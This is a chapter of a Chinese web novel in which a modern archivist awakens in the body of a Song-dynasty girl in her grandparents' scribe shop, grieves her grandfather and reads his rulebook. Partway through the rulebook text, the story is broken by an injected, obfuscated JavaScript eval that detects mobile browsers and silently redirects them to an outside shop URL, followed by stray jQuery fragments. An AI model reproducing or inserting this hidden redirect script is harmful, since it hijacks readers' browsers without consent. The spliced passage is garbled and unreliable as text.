苏见微是被一阵咳嗽声吵醒的。
不是她自己的咳嗽。
她睁眼时视线模糊，眼前一片昏黄。她下意识想抬手揉眼睛，手却抬不起来——身体重得像泡过水的纸。
咳嗽声又起，从身侧传来。她慢慢转过头，看见一个老妇人坐在床边的小杌子上，背对着她，正在给一个粗陶碗里舀什么东西。老妇人穿着深褐色的粗布短衫，鬓发花白，背微微佝偻。她舀粥的动作很慢，每舀一勺都先在碗沿上敲一敲，把粥沥下去。碗沿被敲得发出一声一声的轻响，是经年磕过的瓷器才有的那种钝声。
灯是油灯。
油灯立在床头小几上，灯芯烧得短，灯油是新添的，苏见微闻得到一点桐油的腥味。
屋外应该是半夜，她听不见街上的吆喝，只听见远处隐约有狗叫了一声，又静下去。
她在床上躺了很久才反应过来——这不是她熟悉的房间。
天花板是木的，年代久远，结着蛛网。墙是糊了纸的土墙，纸已经发黄，有几处脱落，露出底下灰灰的土。床帐是旧的，靠她头顶的位置有一块补丁，针脚很细。
最不对的是气味。
她熟悉的房间应该有空调清洗剂的微薄味、有她最近换的洗衣液味、有书桌上那盆多肉植物的土味。
这里的气味是干草、油烟、和一种她说不上来的——像是常年伏案写字的人手上才会有的——墨和纸混合的味道。
她试图坐起来。身体不听使唤。胳膊抬到一半就酸软地落回去，像不是自己的。
老妇人转过头来。
那是一张苏见微从来没见过的脸——五十多岁，皮肤是常年晒过的深色，眼角和嘴角都有细密的皱纹。但她的眼睛很亮，亮得不像这个年纪该有的。
老妇人看见她睁了眼，手里的勺子顿了一下。
"见微，你醒了。"
苏见微的喉咙发紧。她没回应，只是看着老妇人。
老妇人也没追问，把那个粗陶碗端过来，碗里是糙米粥，热气往上冒。她舀了一勺，吹了吹，递到苏见微嘴边。
"你病了七天，第一回醒。先喝点粥。"
苏见微张开嘴，让粥进来。粥是温的，带着柴火熬出来的那种焦味。米粒煮得很烂，咽下去的时候喉咙里有点刮，她意识到自己已经七天没吃过任何东西了，胃在缩。第二勺进去，胃才有了一点暖意。
她吃了三勺，老妇人就把碗放下了。
"够了。第一顿不能多。"
她想说话，发出来的声音却不是她自己的——是一个比她年轻几岁的女声，沙哑、虚弱，带着她从未听过的口音。
"娘——"
她没说完。这个称呼是从她嘴里出来的，但不是她想要这么叫的。
老妇人低头给她拢了拢被子，没回头："是祖母。你睡糊涂了。"
祖母。
苏见微闭上眼睛。
她闭眼的瞬间，一些不属于她的画面涌进来——
一个十几岁的女孩，坐在一张矮桌前，桌上铺着白纸，她在抄字。一个戴着方巾的老人坐在她旁边，给她讲解一份状子的格式。"状子开头要写'具状人某某'，年龄、籍贯、住址，缺一不可。"老人的声音慢慢的，带着一种温和的耐心。那个女孩抄完一页，老人接过去看，点点头："比上次好。"女孩抬起头笑的时候，眼睛弯起来，眼角有一颗很小的痣。
苏见微在脑子里看见这个画面。她能感觉到这是这个女孩的记忆，不是她的。
但是她也能感觉到——这个女孩此刻想念那个老人的情绪，那种酸涩的、想哭的、说不出话的情绪，像潮水一样涌进她的胸口。
她睁开眼。
老妇人——祖母——还坐在床边。
苏见微问："祖父呢？"
她不知道自己为什么会问这个问题。
祖母停了一下，把碗收起来，放在小杌子上。"半年了。你忘了？"
苏见微没说话。她忘了。当然忘了，她什么都不知道。
可眼角湿了。不是她想哭——是这个躯壳本能在哭。她躺着没动，眼泪从眼角顺着鬓发流到耳朵后面，进了枕头里。枕头是旧的，里头塞的是荞麦壳，沙沙地响。
祖母看着她，叹了一口气。"你病这一场，把人吓糊涂了。慢慢想。"
她伸手过来给苏见微擦了擦眼角。手掌粗糙、温热，指甲剪得短，靠近虎口的地方有一层薄茧，是常年捏柴火、揉面团磨出来的。
祖母放下碗，起身去了外屋。回来时手里端着一只豁了口的瓷碗，里面是一碗黑沉沉的药，热气在屋子里散开，是甘草和黄连混在一处的苦味。
"今早给你煎的，喝半碗就睡。"
祖母把药递到她嘴边。苏见微就着她的手咽了几口。苦。她皱着眉，咽到第三口的时候停下，喘了一下。
祖母没勉强她，把碗收回去放在桌角："剩下的等会儿再喝。睡吧。"
苏见微闭上眼。
她又睡了一觉。再醒来时屋里没人。
油灯换成了一支蜡烛，烛火很小，立在桌角。烛旁还放着那只豁了口的瓷碗，药已经凉了，药渣沉在碗底，黑黑的。碗里剩了半碗，是她睡着前没喝完的那一碗。
她试着抬手，这一次能动了。
她慢慢爬起来，身上的中衣是干净的，但她能闻到自己身上的药味——苦的，应该是中药。她扶着床沿坐了一会儿，让身体的力气一点点回来。
桌子靠墙摆着，桌上整整齐齐放着几样东西：一方小砚台、一支毛笔、一摞白纸、一册线装书。
还有，桌角放着一支秃笔。
那支秃笔笔头几乎掉光了，毛只剩下三五根，笔杆磨得发亮——是被人握过千万次的那种亮。
她下床的时候腿软。她扶着床沿站住，深呼吸了几下，走过去，拿起那支秃笔。
这一刻又看见了一些不属于她的画面。
那个女孩五岁的时候，老人——祖父——把这支笔交给她，说"你要练字，就用这支。这是我十几岁的时候开始用的笔。"
七岁，还在用这支笔。"祖父，毛要掉光了。"老人笑："还能用就不换。一支笔一辈子。"
十二岁。
十六岁。
二十二岁。
半年前老人去世。那个女孩把这支笔擦干净，放在桌角，没再用过它。
苏见微把笔放下。
她走到桌前，看那一摞白纸——纸是粗麻纸，黄色，纸面有一些细小的草梗和木屑。这是宋代普通铺子用的廉价纸，吸墨快，写字时要小心控制笔速。她以前在档案馆见过这种纸的现代复制品，是一份古籍修复的样张。她当时没多想。现在她伸手摸了一下纸面——糙的，但磨手时有一种踏实感。她又看了看砚台，一方淡青色的端砚，墨池里有一点凝住的旧墨，是几个月前磨的，没用完。
线装书的封面写着四个字。她借着烛火看清——
《代书规矩》。
她伸手翻开。
第一页是一行小字："苏家代书铺，江州城东。祖父挂牌，祖母代记，孙女习字。"署名是三个名字：苏元、王氏、苏见微。
苏见微的手指在署名上停了一下。
王氏。
祖母没姓——在这本册子里，她的名字是丈夫的姓氏加上一个"氏"字。
她翻到第二页。第二页是一段总则。
"代书三规：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17639348|206665||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一，状不替凶人立。
二，状不为冤人滞。
三，状成不留底者，不接。"
苏见微一字一字看完。她又翻了一页。第三页开始是案例。
"熙宁三年，张姓农妇求代书，状告里正勒索粮赋。状词清楚，事在理。立。"
"熙宁三年，里正某某求代书，状告同村农妇'诬告里正'。来人面色阴，言辞反复。退。"
"熙宁三年秋，王义求代书，状告陈家强占田产。证据齐。立底稿，未递。"
她的目光在第三条上停了一下。
王义。
她继续翻。翻到熙宁五年的几条时，她忽然发觉这本册子的批注，不全是同一个人写的。大部分是端正稳健的楷书，应该是祖父的字。但有些批注的笔锋更细，捺脚收得紧，是另一种笔迹。
她回到署名页：苏元，王氏。两个名字。
王氏，祖母。她不识几个字。
苏见微的手指轻轻按在那条笔锋更细的批注上。
她翻到一半的时候，门吱呀一声开了。祖母端着一碗药进来，看见她坐在桌前，愣了一下。
"你怎么下床了？"
苏见微看着祖母。她想说话，但她发现自己说不出来——不是声带的问题，是她不知道该用什么身份说什么话。
祖母走过来，把药放在桌上。她看见苏见微面前摊开的《代书规矩》，沉默了很久，然后说："你祖父的册子，你能看就看。看不进去，就别勉强。"
苏见微点头。
祖母把药推到她面前："先把药喝了。明天再说话。"
苏见微端起碗。药很苦，喝下去之后舌根麻了一下。她皱着眉一口气喝完。
祖母没再说什么，把碗收走，吹了吹烛火。"睡吧。"
烛火灭了。黑暗里，苏见微听见祖母的脚步在屋外慢慢远去——是慢的，不急，像每一步都要踩稳了再迈。
她躺回床上，闭上眼。
她想她大概是真的死了。
最后一刻，是一个司机闯红灯。斑马线上过马路，那一晚下班晚了，加班到八点。
归档那天的编号也还记得——F4，意思是F架第4层；2019，年份；00873，那一年第873份归档的卷宗。
那个工人死在档案馆门口。她写的"建议改正归档错误"的申请被批了一句"程序合规，无需变更"。归档那一天是她值班，她按了一下电脑确认键，红章在屏幕上跳出来。她看着红章，没说话。下班，回家，第二天继续上班。
她不是因为这件事死的——半年后被车撞死。
但临死前最后想到的，是那个编号。
现在她在另一张床上。
这张床上的女孩叫苏见微，二十二岁，江州城东苏家代书铺孙女，七天前病了一场，醒过来变了一个人。
她在心里把"苏见微"这个名字念了三遍。
巧的是，她和这个女孩同名。
或许不巧。她不知道。
屋里的烛火灭了之后，她在黑暗里听了一会儿。
她听见祖母在隔壁屋翻身的声音——是那种小心翼翼怕吵到病人的翻身。她听见远处的更鼓，听见自家屋顶有什么东西落下来，大约是只夜鸟。她还听见铺子门外巷子里有脚步声经过，脚步很慢，是老人的步子。
这是一个真实的、有声音的、有人的、有时间的世界。
她闭上眼。
她睡着的时候，外面有打更人的梆子声。咚咚，她数了三下。三更天。
她在三更天的江州城东苏家代书铺后房，重新睡了过去。
她不知道——有些编号，过了多少年都忘不掉。